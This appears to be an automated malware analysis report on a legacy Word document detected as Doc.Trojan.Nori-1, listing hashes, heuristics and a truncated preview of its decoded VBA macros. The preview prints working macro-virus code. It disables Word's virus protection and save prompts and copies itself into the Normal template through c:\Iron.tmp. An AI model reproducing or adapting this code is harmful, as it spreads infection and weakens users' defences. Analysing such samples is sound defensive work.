Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1525f12b2326e62…

MALICIOUS

Office (OLE)

246.5 KB Created: 2005-03-09 07:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 76fb814d4c1974b604b2878df67339b5 SHA-1: e83b843aa11de270b48cfa0273858d35dc1afa1d SHA-256: f1525f12b2326e62c36b9f0483cc79912a071576e98bd180f2ad651cf7bcacb2
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, including AutoOpen and AutoClose functions, which are commonly used for malicious purposes. The macros attempt to import a file from 'c:\Iron.tmp' into the NormalTemplate, suggesting an attempt to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Nori-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nori-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11146 bytes
SHA-256: 8a0ec2a95d9961075b33a389a4e66a07a38838c132d7bc74cc0507705300a793
Detection
ClamAV: Doc.Trojan.Nori-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Unit"
                                                                                                Sub ToN()
'Iron
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"

                                                                                                With NormalTemplate.VBProject.VBComponents
   .import (file)
                                                                                                 NormalTemplate.Save
                                                                                                    Kill (file)
                                                                                                End With
                                                                                                End Sub
                                                                                                Sub ToA()
                                                                                                On Error Resume Next
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                With ActiveDocument.VBProject.VBComponents
                                                                                                                                          '18
                                                                                                End With
                                                                                                End Sub
                                                                                                Sub AutoOpen()
                                                                                                On Error Resume Next
                                                                                                If Options.VirusProtection Then Options.VirusProtection = Not Options.VirusProtection
                                                                                                If Options.ConfirmConversions Then Options.ConfirmConversions = Not Options.ConfirmConversions
                                                                                                If Options.SaveNormalPrompt Then Options.SaveNormalPrompt = Not Options.SaveNormalPrompt
                                                                                                file = "c:\Iron.tmp"
                                                                                                Un = "Unit"
                                                                                                If NormalTemplate.VBProject.VBComponents.Item(Un).CodeModule.Lines(2, 1) <> "'Iron" Then
                                                                                                ActiveDocument.VBProject.VBComponents(Un).Export (file)
                                                                                                With ActiveDocument.VBProject.VBComponents(Un).CodeModule
                                                                                                    .DeleteLines 8
                                                                                                    .InsertLines 8, "   .import (file)"
                                               
... (truncated)